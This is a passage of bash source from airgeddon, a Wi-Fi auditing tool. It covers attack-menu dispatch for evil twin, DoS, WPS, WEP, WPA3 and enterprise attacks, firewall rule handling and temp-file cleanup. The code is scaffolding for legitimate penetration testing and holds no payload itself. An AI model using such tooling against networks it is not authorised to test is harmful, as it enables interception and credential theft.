			print_all_target_vars
		;;
		"dos_info_gathering_enterprise_menu")
			print_iface_selected
			print_all_target_vars
		;;
		"language_menu")
			print_iface_selected
		;;
		"evil_twin_attacks_menu")
			return_to_et_main_menu=0
			return_to_enterprise_main_menu=0
			retry_handshake_capture=0
			return_to_et_main_menu_from_beef=0
			retrying_handshake_capture=0
			internet_interface_selected=0
			enterprise_mode=""
			et_mode=""
			et_processes=()
			secondary_wifi_interface=""
			et_attack_adapter_prerequisites_ok=0
			advanced_captive_portal=0
			print_iface_selected
			print_all_target_vars_et
		;;
		"enterprise_attacks_menu")
			return_to_enterprise_main_menu=0
			return_to_et_main_menu=0
			enterprise_mode=""
			et_mode=""
			et_processes=()
			secondary_wifi_interface=""
			et_enterprise_attack_adapter_prerequisites_ok=0
			print_iface_selected
			print_all_target_vars
		;;
		"et_dos_menu")
			dos_pursuit_mode=0
			print_iface_selected
			if [ -n "${enterprise_mode}" ]; then
				print_all_target_vars
			else
				if [ "${retry_handshake_capture}" -eq 1 ]; then
					retry_handshake_capture=0
					retrying_handshake_capture=1
				fi
				print_et_target_vars
				print_iface_internet_selected
			fi
		;;
		"wpa3_dos_menu")
			print_iface_selected
			print_all_target_vars
		;;
		"wps_attacks_menu")
			print_iface_selected
			print_all_target_vars_wps
		;;
		"offline_pin_generation_menu")
			print_iface_selected
			print_all_target_vars_wps
		;;
		"wep_attacks_menu")
			print_iface_selected
			print_all_target_vars
		;;
		"beef_pre_menu")
			et_attack_adapter_prerequisites_ok=0
			print_iface_selected
			print_all_target_vars_et
		;;
		"option_menu")
			print_options
		;;
		"wpa3_attacks_menu")
			downgrade_attack_adapter_prerequisites_ok=0
			return_to_wpa3_main_menu=0
			print_iface_selected
			print_all_target_vars
			if [[ " ${plugins_enabled[*]} " == *" wpa3_online_attack "* ]]; then
				if [ -n "${DICTIONARY}" ]; then
					language_strings "${language}" 182 "blue"
				fi
			fi
			if [[ " ${plugins_enabled[*]} " == *" wpa3_cookie_guzzler "* ]]; then
				if [ -n "${secondary_wifi_interface}" ]; then
					language_strings "${language}" 512 "blue"
				fi
			fi
		;;
		*)
			if ! hookable_for_menus; then
				print_iface_selected
				print_all_target_vars
			fi
		;;
	esac
}

#Function created intentionally to be hooked from plugins to modify menus easily
function hookable_for_menus() {

	debug_print

	return 1
}

#Clean environment vars
function clean_env_vars() {

	debug_print

	unset AIRGEDDON_AUTO_UPDATE AIRGEDDON_SKIP_INTRO AIRGEDDON_BASIC_COLORS AIRGEDDON_EXTENDED_COLORS AIRGEDDON_AUTO_CHANGE_LANGUAGE AIRGEDDON_SILENT_CHECKS AIRGEDDON_PRINT_HINTS AIRGEDDON_5GHZ_ENABLED AIRGEDDON_6GHZ_ENABLED AIRGEDDON_FORCE_IPTABLES AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING AIRGEDDON_MDK_VERSION AIRGEDDON_PLUGINS_ENABLED AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING AIRGEDDON_EVIL_TWIN_SOUNDS AIRGEDDON_DEVELOPMENT_MODE AIRGEDDON_DEBUG_MODE AIRGEDDON_WINDOWS_HANDLING
}

#Control the status of the routing taking into consideration instances orchestration
function control_routing_status() {

	debug_print

	local saved_routing_status_found=""
	local original_routing_status=""
	local etset=""
	local agpid=""
	local et_still_running=0

	if [ "${1}" = "start" ]; then
		readarray -t AIRGEDDON_PIDS 2> /dev/null < <(cat < "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null)
		for item in "${AIRGEDDON_PIDS[@]}"; do
			[[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && etset="${BASH_REMATCH[1]}" && agpid="${BASH_REMATCH[2]}"
			if [ -z "${saved_routing_status_found}" ]; then
				[[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && saved_routing_status_found="${BASH_REMATCH[3]}"
			fi

			if [[ "${agpid_to_use}" = "${agpid}" ]] && [[ "${etset}" != "et" ]]; then
				sed -ri "s:^(${agpid}):et\1:" "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null
			fi
		done

		if [ -z "${saved_routing_status_found}" ]; then
			original_routing_status=$(cat /proc/sys/net/ipv4/ip_forward)
			sed -ri "s:^(et${agpid_to_use})$:\1rs${original_routing_status}:" "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null
		fi
	else
		readarray -t AIRGEDDON_PIDS 2> /dev/null < <(cat < "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null)
		for item in "${AIRGEDDON_PIDS[@]}"; do
			[[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && etset="${BASH_REMATCH[1]}" && agpid="${BASH_REMATCH[2]}"
			if [ -z "${saved_routing_status_found}" ]; then
				[[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && saved_routing_status_found="${BASH_REMATCH[3]}"
			fi

			if [[ "${agpid_to_use}" = "${agpid}" ]] && [[ "${etset}" = "et" ]]; then
				sed -ri "s:^(et${agpid}):${agpid}:" "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null
			fi

			if [[ "${agpid_to_use}" != "${agpid}" ]] && [[ "${etset}" = "et" ]]; then
				et_still_running=1
			fi
		done

		if [[ -n "${saved_routing_status_found}" ]] && [[ "${et_still_running}" -eq 0 ]]; then
			original_routing_status="${saved_routing_status_found//[^0-9]/}"
			echo "${original_routing_status}" > /proc/sys/net/ipv4/ip_forward 2> /dev/null
		fi
	fi
}

#Clean temporary files
function clean_tmpfiles() {

	debug_print

	if [ "${1}" = "exit_script" ]; then
		rm -rf "${tmpdir}" > /dev/null 2>&1
		rm -rf "${scriptfolder}${hostapd_wpe_default_log}" > /dev/null 2>&1

		if [ "${dhcpd_path_changed}" -eq 1 ]; then
			rm -rf "${dhcp_path}" > /dev/null 2>&1
		fi

		if [ "${beef_found}" -eq 1 ]; then
			rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1
		fi

		if is_last_airgeddon_instance; then
			delete_instance_orchestrator_file
		fi
	else
		rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1
		rm -rf "${tmpdir}target.txt" > /dev/null 2>&1
		rm -rf "${tmpdir}handshake"* > /dev/null 2>&1
		rm -rf "${tmpdir}identities_certificates"* > /dev/null 2>&1
		rm -rf "${tmpdir}decloak"* > /dev/null 2>&1
		rm -rf "${tmpdir}pmkid"* > /dev/null 2>&1
		rm -rf "${tmpdir}nws"* > /dev/null 2>&1
		rm -rf "${tmpdir}clts"* > /dev/null 2>&1
		rm -rf "${tmpdir}wnws.txt" > /dev/null 2>&1
		rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1
		rm -rf "${tmpdir}jtrtmp"* > /dev/null 2>&1
		rm -rf "${tmpdir}${aircrack_pot_tmp}" > /dev/null 2>&1
		rm -rf "${tmpdir}${et_processesfile}" > /dev/null 2>&1
		rm -rf "${tmpdir}${hostapd_mana_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${hostapd_mana_out}" > /dev/null 2>&1
		rm -rf "${tmpdir}${hostapd_mana_log}" > /dev/null 2>&1
		rm -rf "${tmpdir}${mana_cap_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${mana_tmp_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${hostapd_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${hostapd_wpe_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${hostapd_wpe_log}" > /dev/null 2>&1
		rm -rf "${scriptfolder}${hostapd_wpe_default_log}" > /dev/null 2>&1
		rm -rf "${tmpdir}${dhcpd_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${dnsmasq_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${control_et_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${control_enterprise_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}parsed_file" > /dev/null 2>&1
		rm -rf "${tmpdir}${ettercap_file}"* > /dev/null 2>&1
		rm -rf "${tmpdir}${bettercap_file}"* > /dev/null 2>&1
		rm -rf "${tmpdir}${bettercap_config_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${bettercap_hook_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${beef_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${webserver_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${webserver_log}" > /dev/null 2>&1
		rm -rf "${tmpdir}${webdir}" > /dev/null 2>&1
		rm -rf "${tmpdir}${certsdir}" > /dev/null 2>&1
		rm -rf "${tmpdir}${enterprisedir}" > /dev/null 2>&1
		rm -rf "${tmpdir}${asleap_pot_tmp}" > /dev/null 2>&1
		rm -rf "${tmpdir}wps"* > /dev/null 2>&1
		rm -rf "${tmpdir}${wps_attack_script_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${wps_out_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${wep_attack_file}" > /dev/null 2>&1
		rm -rf "${tmpdir}${wep_key_handler}" > /dev/null 2>&1
		rm -rf "${tmpdir}${wep_data}"* > /dev/null 2>&1
		rm -rf "${tmpdir}${wepdir}" > /dev/null 2>&1
		rm -rf "${tmpdir}dos_pm"* > /dev/null 2>&1
		rm -rf "${tmpdir}${channelfile}" > /dev/null 2>&1
		rm -rf "${tmpdir}${wep_besside_log}" > /dev/null 2>&1
		rm -rf "${tmpdir}wep.cap" > /dev/null 2>&1
		rm -rf "${tmpdir}wps.cap" > /dev/null 2>&1
		rm -rf "${tmpdir}besside.log" > /dev/null 2>&1
		rm -rf "${tmpdir}decloak.log" > /dev/null 2>&1
		rm -rf "${tmpdir}agwpa3"* > /dev/null 2>&1
		rm -rf "${tmpdir}cookie_guzzler"* > /dev/null 2>&1
	fi

	if [ "${dhcpd_path_changed}" -eq 1 ]; then
		rm -rf "${dhcp_path}" > /dev/null 2>&1
	fi

	if [ "${beef_found}" -eq 1 ]; then
		rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1
	fi
}

#Manage cleaning firewall rules and restore orginal routing state
function clean_routing_rules() {

	debug_print

	control_routing_status "end"
	clean_initialize_iptables_nftables "end"

	if is_last_airgeddon_instance && [[ -n "${system_tmpdir}${routing_tmp_file}" ]]; then
		restore_iptables_nftables
		rm -rf "${system_tmpdir}${routing_tmp_file}" > /dev/null 2>&1
	fi
}

#Save iptables/nftables rules
function save_iptables_nftables() {

	debug_print

	if [ "${iptables_nftables}" -eq 1 ]; then
		"${iptables_cmd}" list ruleset > "${system_tmpdir}${routing_tmp_file}" 2> /dev/null
	else
		"${iptables_cmd}-save" > "${system_tmpdir}${routing_tmp_file}" 2> /dev/null
	fi
}

#Restore iptables/nftables rules
function restore_iptables_nftables() {

	debug_print

	if [ "${iptables_nftables}" -eq 1 ]; then
		"${iptables_cmd}" -f "${system_tmpdir}${routing_tmp_file}" 2> /dev/null
	else
		"${iptables_cmd}-restore" < "${system_tmpdir}${routing_tmp_file}" 2> /dev/null
	fi
}

#Prepare iptables/nftables after a clean to avoid errors
function prepare_iptables_nftables() {

	debug_print

	clean_this_instance_iptables_nftables

	if [ "${iptables_nftables}" -eq 1 ]; then
		"${iptables_cmd}" add table ip filter_"${airgeddon_instance_name}"
		"${iptables_cmd}" add chain ip filter_"${airgeddon_instance_name}" forward_"${airgeddon_instance_name}" '{type filter hook forward priority 0; policy accept;}'
		"${iptables_cmd}" add chain ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" '{type filter hook input priority 0;}'
		"${iptables_cmd}" add table ip nat_"${airgeddon_instance_name}"
		"${iptables_cmd}" add chain ip nat_"${airgeddon_instance_name}" prerouting_"${airgeddon_instance_name}" '{type nat hook prerouting priority -100;}'
		"${iptables_cmd}" add chain ip nat_"${airgeddon_instance_name}" postrouting_"${airgeddon_instance_name}" '{type nat hook postrouting priority 100;}'
	else
		"${iptables_cmd}" -P FORWARD ACCEPT
		"${iptables_cmd}" -t filter -N input_"${airgeddon_instance_name}"
		"${iptables_cmd}" -A INPUT -j input_"${airgeddon_instance_name}"
		"${iptables_cmd}" -t filter -N forward_"${airgeddon_instance_name}"
		"${iptables_cmd}" -A FORWARD -j forward_"${airgeddon_instance_name}"
	fi
}

#Clean only this instance iptables/nftables rules
function clean_this_instance_iptables_nftables() {

	debug_print

	if [ "${iptables_nftables}" -eq 1 ]; then
		"${iptables_cmd}" delete table filter_"${airgeddon_instance_name}" 2> /dev/null
		"${iptables_cmd}" delete table nat_"${airgeddon_instance_name}" 2> /dev/null
	else
		"${iptables_cmd}" -D INPUT -j input_"${airgeddon_instance_name}" 2> /dev/null
		"${iptables_cmd}" -D FORWARD -j forward_"${airgeddon_instance_name}" 2> /dev/null
		"${iptables_cmd}" -F input_"${airgeddon_instance_name}" 2> /dev/null
		"${iptables_cmd}" -F forward_"${airgeddon_instance_name}" 2> /dev/null
		"${iptables_cmd}" -X input_"${airgeddon_instance_name}" 2> /dev/null
		"${iptables_cmd}" -X forward_"${airgeddon_instance_name}" 2> /dev/null
	fi
}

#Clean all iptables/nftables rules
function clean_all_iptables_nftables() {

	debug_print

	if [ "${iptables_nftables}" -eq 1 ]; then
		"${iptables_cmd}" flush ruleset 2> /dev/null
	else
		"${iptables_cmd}" -F 2> /dev/null
		"${iptables_cmd}" -t nat -F 2> /dev/null
		"${iptables_cmd}" -t mangle -F 2> /dev/null
		"${iptables_cmd}" -t raw -F 2> /dev/null
		"${iptables_cmd}" -t security -F 2> /dev/null
		"${iptables_cmd}" -t mangle -X 2> /dev/null
		"${iptables_cmd}" -t raw -X 2> /dev/null
		"${iptables_cmd}" -t security -X 2> /dev/null
		"${iptables_cmd}" -D INPUT -j input_"${airgeddon_instance_name}" 2> /dev/null
		"${iptables_cmd}" -D FORWARD -j forward_"${airgeddon_instance_name}" 2> /dev/null
		"${iptables_cmd}" -F input_"${airgeddon_instance_name}" 2> /dev/null
		"${iptables_cmd}" -F forward_"${airgeddon_instance_name}" 2> /dev/null
		"${iptables_cmd}" -X input_"${airgeddon_instance_name}" 2> /dev/null
		"${iptables_cmd}" -X forward_"${airgeddon_instance_name}" 2> /dev/null
		"${iptables_cmd}" -X 2> /dev/null
		"${iptables_cmd}" -t nat -X 2> /dev/null
	fi
}

#Contains the logic to decide what iptables/nftables rules to clean
function clean_initialize_iptables_nftables() {

	debug_print

	if [ "${1}" = "start" ]; then
		if [[ "${clean_all_iptables_nftables}" -eq 1 ]] && is_first_routing_modifier_airgeddon_instance; then
			clean_all_iptables_nftables
		fi
		prepare_iptables_nftables
	else
		if is_last_airgeddon_instance; then
			clean_all_iptables_nftables
		else
			clean_this_instance_iptables_nftables
		fi
	fi
}

#Create an array from parameters
function store_array() {

	debug_print

	local values=("${@:3}")
	for i in "${!values[@]}"; do
		eval "${1}[\$2|${i}]=\${values[i]}"
	done
}

#Check if something (first parameter) is inside an array (second parameter)
contains_element() {

	debug_print

	local e
	for e in "${@:2}"; do
		[[ "${e}" = "${1}" ]] && return 0
	done
	return 1
}

#Print hints from the different hint pools depending on the menu
function print_hint() {

	debug_print

	declare -A hints

	case "${current_menu}" in
		"main_menu")
			store_array hints main_hints "${main_hints[@]}"
			hintlength=${#main_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[main_hints|${randomhint}]}
		;;
		"dos_attacks_menu")
			store_array hints dos_hints "${dos_hints[@]}"
			hintlength=${#dos_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[dos_hints|${randomhint}]}
		;;
		"handshake_pmkid_decloaking_tools_menu")
			store_array hints handshake_pmkid_decloaking_hints "${handshake_pmkid_decloaking_hints[@]}"
			hintlength=${#handshake_pmkid_decloaking_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[handshake_pmkid_decloaking_hints|${randomhint}]}
		;;
		"dos_handshake_decloak_menu")
			store_array hints dos_handshake_decloak_hints "${dos_handshake_decloak_hints[@]}"
			hintlength=${#dos_handshake_decloak_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[dos_handshake_decloak_hints|${randomhint}]}
		;;
		"dos_info_gathering_enterprise_menu")
			store_array hints dos_info_gathering_enterprise_hints "${dos_info_gathering_enterprise_hints[@]}"
			hintlength=${#dos_info_gathering_enterprise_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[dos_info_gathering_enterprise_hints|${randomhint}]}
		;;
		"decrypt_menu")
			store_array hints decrypt_hints "${decrypt_hints[@]}"
			hintlength=${#decrypt_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[decrypt_hints|${randomhint}]}
		;;
		"personal_decrypt_menu")
			store_array hints personal_decrypt_hints "${personal_decrypt_hints[@]}"
			hintlength=${#personal_decrypt_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[personal_decrypt_hints|${randomhint}]}
		;;
		"enterprise_decrypt_menu")
			store_array hints enterprise_decrypt_hints "${enterprise_decrypt_hints[@]}"
			hintlength=${#enterprise_decrypt_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[enterprise_decrypt_hints|${randomhint}]}
		;;
		"select_interface_menu")
			store_array hints select_interface_hints "${select_interface_hints[@]}"
			hintlength=${#select_interface_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[select_interface_hints|${randomhint}]}
		;;
		"language_menu")
			store_array hints language_hints "${language_hints[@]}"
			hintlength=${#language_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[language_hints|${randomhint}]}
		;;
		"option_menu")
			store_array hints option_hints "${option_hints[@]}"
			hintlength=${#option_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[option_hints|${randomhint}]}
		;;
		"evil_twin_attacks_menu")
			store_array hints evil_twin_hints "${evil_twin_hints[@]}"
			hintlength=${#evil_twin_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[evil_twin_hints|${randomhint}]}
		;;
		"wpa3_dos_menu")
			store_array hints wpa3_dos_hints "${wpa3_dos_hints[@]}"
			hintlength=${#wpa3_dos_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[wpa3_dos_hints|${randomhint}]}
		;;
		"et_dos_menu")
			store_array hints evil_twin_dos_hints "${evil_twin_dos_hints[@]}"
			hintlength=${#evil_twin_dos_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[evil_twin_dos_hints|${randomhint}]}
		;;
		"wps_attacks_menu"|"offline_pin_generation_menu")
			store_array hints wps_hints "${wps_hints[@]}"
			hintlength=${#wps_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[wps_hints|${randomhint}]}
		;;
		"wep_attacks_menu")
			store_array hints wep_hints "${wep_hints[@]}"
			hintlength=${#wep_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[wep_hints|${randomhint}]}
		;;
		"beef_pre_menu")
			store_array hints beef_hints "${beef_hints[@]}"
			hintlength=${#beef_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[beef_hints|${randomhint}]}
		;;
		"enterprise_attacks_menu")
			store_array hints enterprise_hints "${enterprise_hints[@]}"
			hintlength=${#enterprise_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[enterprise_hints|${randomhint}]}
		;;
		"wpa3_attacks_menu")
			store_array hints wpa3_hints "${wpa3_hints[@]}"
			hintlength=${#wpa3_hints[@]}
			((hintlength--))
			randomhint=$(shuf -i 0-"${hintlength}" -n 1)
			strtoprint=${hints[wpa3_hints|${randomhint}]}
		;;
	esac

	hookable_for_hints

	if "${AIRGEDDON_PRINT_HINTS:-true}"; then
		print_simple_separator
		language_strings "${language}" "${strtoprint}" "hint"
	fi

	print_simple_separator
}

#Function created empty intentionally to be hooked from plugins to modify hints easily
function hookable_for_hints() {

	debug_print

	:
}

#Initialize instances related actions
function initialize_instance_settings() {

	debug_print

	agpid_to_use="${BASHPID}"

	instance_setter
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		if hash tmux 2> /dev/null; then
			local current_tmux_display_name
			current_tmux_display_name=$(tmux display-message -p '#W')
			if [ "${current_tmux_display_name}" = "${tmux_main_window}" ]; then
				create_instance_orchestrator_file
				register_instance_pid
			fi
		fi
	else
		create_instance_orchestrator_file
		register_instance_pid
	fi
}

#Detect number of the alive airgeddon instances and set the next one if apply
function instance_setter() {

	debug_print

	local create_dir=0
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		if hash tmux 2> /dev/null; then
			local current_tmux_display_name
			current_tmux_display_name=$(tmux display-message -p '#W')
			if [ "${current_tmux_display_name}" = "${tmux_main_window}" ]; then
				create_dir=1
			fi
		fi
	else
		create_dir=1
	fi

	if [ "${create_dir}" -eq 1 ]; then
		local dir_number="1"
		airgeddon_instance_name="ag${dir_number}"
		local airgeddon_instance_dir="${airgeddon_instance_name}/"

		if [ -d "${system_tmpdir}${airgeddon_instance_dir}" ]; then
			while true; do
				dir_number=$((dir_number + 1))
				airgeddon_instance_name="ag${dir_number}"
				airgeddon_instance_dir="${airgeddon_instance_name}/"
				if [ ! -d "${system_tmpdir}${airgeddon_instance_dir}" ]; then
					break
				fi
			done
		fi

		tmpdir="${system_tmpdir}${airgeddon_instance_dir}"
		mkdir -p "${tmpdir}" > /dev/null 2>&1
	fi
}

#Create orchestrator file if needed
function create_instance_orchestrator_file() {

	debug_print

	if [ ! -f "${system_tmpdir}${ag_orchestrator_file}" ]; then
		touch "${system_tmpdir}${ag_orchestrator_file}" > /dev/null 2>&1
	else
		local airgeddon_pid_alive=0
		local agpid=""

		readarray -t AIRGEDDON_PIDS 2> /dev/null < <(cat < "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null)
		for item in "${AIRGEDDON_PIDS[@]}"; do
			[[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && agpid="${BASH_REMATCH[2]}"
			if ps -p "${agpid}" > /dev/null 2>&1; then
				airgeddon_pid_alive=1
				break
			fi
		done

		if [ "${airgeddon_pid_alive}" -eq 0 ]; then
			rm -rf "${system_tmpdir}${ag_orchestrator_file}" > /dev/null 2>&1
			touch "${system_tmpdir}${ag_orchestrator_file}" > /dev/null 2>&1
		fi
	fi
}

#Delete orchestrator file if exists
function delete_instance_orchestrator_file() {

	debug_print

	if [ -f "${system_tmpdir}${ag_orchestrator_file}" ]; then
		rm -rf "${system_tmpdir}${ag_orchestrator_file}" > /dev/null 2>&1
	fi
}

#Register instance pid into orchestrator file if is not already registered
function register_instance_pid() {

	debug_print

	if [ -f "${system_tmpdir}${ag_orchestrator_file}" ]; then
		if ! grep -q "${agpid_to_use}" "${system_tmpdir}${ag_orchestrator_file}"; then
			{
			echo "${agpid_to_use}"
			} >> "${system_tmpdir}${ag_orchestrator_file}"
		fi
	fi
}

#Detect and return the number of airgeddon running instances
function detect_running_instances() {

	debug_print

	airgeddon_running_instances_counter=1

	readarray -t AIRGEDDON_PIDS 2> /dev/null < <(cat < "${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null)
	for item in "${AIRGEDDON_PIDS[@]}"; do
		[[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && agpid="${BASH_REMATCH[2]}"
		if [[ "${agpid}" != "${BASHPID}" ]] && ps -p "${agpid}" > /dev/null 2>&1; then
			airgeddon_running_instances_counter=$((airgeddon_running_instances_counter + 1))
		fi
	done

	return "${airgeddon_running_instances_counter}"
}

#Check if this instance is the first one modifying routing state
function is_first_routing_modifier_airgeddon_instance() {

	debug_print

	local agpid=""

	readarray -t AIRGEDDON_PIDS 2> /dev/null < <(cat <"${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null)
	for item in "${AIRGEDDON_PIDS[@]}"; do
		[[ "${item}" =~ ^(et)?([0-9]+)rs[0-1]$ ]] && agpid="${BASH_REMATCH[2]}"

		if [ "${agpid}" = "${BASHPID}" ]; then
			clean_all_iptables_nftables=0
			return 0
		fi
	done

	return 1
}

#Check if this instance is the last airgeddon instance running
function is_last_airgeddon_instance() {

	debug_print

	local agpid=""

	readarray -t AIRGEDDON_PIDS 2> /dev/null < <(cat <"${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null)
	for item in "${AIRGEDDON_PIDS[@]}"; do
		[[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && agpid="${BASH_REMATCH[2]}"

		if [[ "${agpid}" != "${agpid_to_use}" ]] && ps -p "${agpid}" > /dev/null 2>&1; then
			return 1
		fi
	done

	return 0
}

#airgeddon main menu
function main_menu() {

	debug_print

	clear
	language_strings "${language}" 101 "title"
	current_menu="main_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 61
	language_strings "${language}" 48
	language_strings "${language}" 55
	language_strings "${language}" 56
	print_simple_separator
	language_strings "${language}" 118
	language_strings "${language}" 119
	language_strings "${language}" 169
	language_strings "${language}" 252
	language_strings "${language}" 333
	language_strings "${language}" 426
	language_strings "${language}" 57
	language_strings "${language}" 754
	print_simple_separator
	language_strings "${language}" 60
	language_strings "${language}" 444
	print_hint

	read -rp "> " main_option
	case ${main_option} in
		0)
			exit_script_option
		;;
		1)
			select_interface
		;;
		2)
			monitor_option "${interface}"
		;;
		3)
			managed_option "${interface}"
		;;
		4)
			dos_attacks_menu
		;;
		5)
			handshake_pmkid_decloaking_tools_menu
		;;
		6)
			decrypt_menu
		;;
		7)
			evil_twin_attacks_menu
		;;
		8)
			wps_attacks_menu
		;;
		9)
			wep_attacks_menu
		;;
		10)
			enterprise_attacks_menu
		;;
		11)
			hookable_wpa3_attacks_menu
		;;
		12)
			credits_option
		;;
		13)
			option_menu
		;;
		*)
			invalid_menu_option
		;;
	esac

	main_menu
}

#Enterprise attacks menu
function enterprise_attacks_menu() {

	debug_print

	clear
	language_strings "${language}" 84 "title"
	current_menu="enterprise_attacks_menu"
	initialize_menu_and_print_selections
	echo
	language_strings "${language}" 47 "green"
	print_simple_separator
	language_strings "${language}" 59
	language_strings "${language}" 48
	language_strings "${language}" 55
	language_strings "${language}" 56
	language_strings "${language}" 49
	language_strings "${language}" 627 "separator"
	language_strings "${language}" 628 enterprise_certificates_dependencies[@]
	language_strings "${language}" 117 "separator"
	language_strings "${language}" 260 enterprise_attack_dependencies[@]
	language_strings "${language}" 248 "separator"
	language_strings "${language}" 307 enterprise_attack_dependencies[@]
	language_strings "${language}" 740 "separator"
	language_strings "${language}" 741 enterprise_identities_dependencies[@]
	language_strings "${language}" 748 enterprise_certificates_analysis_dependencies[@]
	print_hint

	read -rp "> " enterprise_option
	case ${enterprise_option} in
		0)
			return
		;;
		1)
			select_interface
		;;
		2)
			monitor_option "${interface}"
		;;
		3)
			managed_option "${interface}"
		;;
		4)
			explore_for_targets_option "WPA" "enterprise"
		;;
		5)
			if contains_element "${enterprise_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				custom_certificates_questions
				create_certificates_config_files
				create_custom_certificates
			fi
		;;
		6)
			if contains_element "${enterprise_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				current_iface_on_messages="${interface}"
				if check_interface_wifi "${interface}"; then
					if [ "${adapter_vif_support}" -eq 0 ]; then
						ask_yesno 696 "no"
						if [ "${yesno}" = "y" ]; then
							et_enterprise_attack_adapter_prerequisites_ok=1
						fi
					else
						et_enterprise_attack_adapter_prerequisites_ok=1
					fi

					if [ "${et_enterprise_attack_adapter_prerequisites_ok}" -eq 1 ]; then
						if custom_certificates_integration; then
							enterprise_mode="smooth"
							local et_target_ready=1
							if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then
								echo
								language_strings "${language}" 125 "yellow"
								language_strings "${language}" 115 "read"
								if ! explore_for_targets_option "WPA" "enterprise"; then
									et_target_ready=0
								fi
							fi
							if [ "${et_target_ready}" -eq 1 ]; then
								if check_6ghz_thirdparty_tools_compatibility; then
									et_dos_menu "enterprise"
								fi
							fi
						fi
					fi
				else
					echo
					language_strings "${language}" 281 "red"
					language_strings "${language}" 115 "read"
				fi
			fi
		;;
		7)
			if contains_element "${enterprise_option}" "${forbidden_options[@]}"; then
				forbidden_menu_option
			else
				current_iface_on_messages="${interface}"
				if check_interface_wifi "${interface}"; then
					if [ "${adapter_vif_support}" -eq 0 ]; then
						ask_yesno 696 "no"
						if [ "${yesno}" = "y" ]; then
							et_enterprise_attack_adapter_prerequisites_ok=1
						fi
					else
						et_enterprise_attack_adapter_prerequisites_ok=1
					fi

					if [ "${et_enterprise_attack_adapter_prerequisites_ok}" -eq 1 ]; then
						if custom_certificates_integration; then
							enterprise_mode="noisy"
							local et_target_ready=1
							if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then
								echo
								language_strings "${language}" 125 "yellow"
								language_strings "${language}" 115 "read"
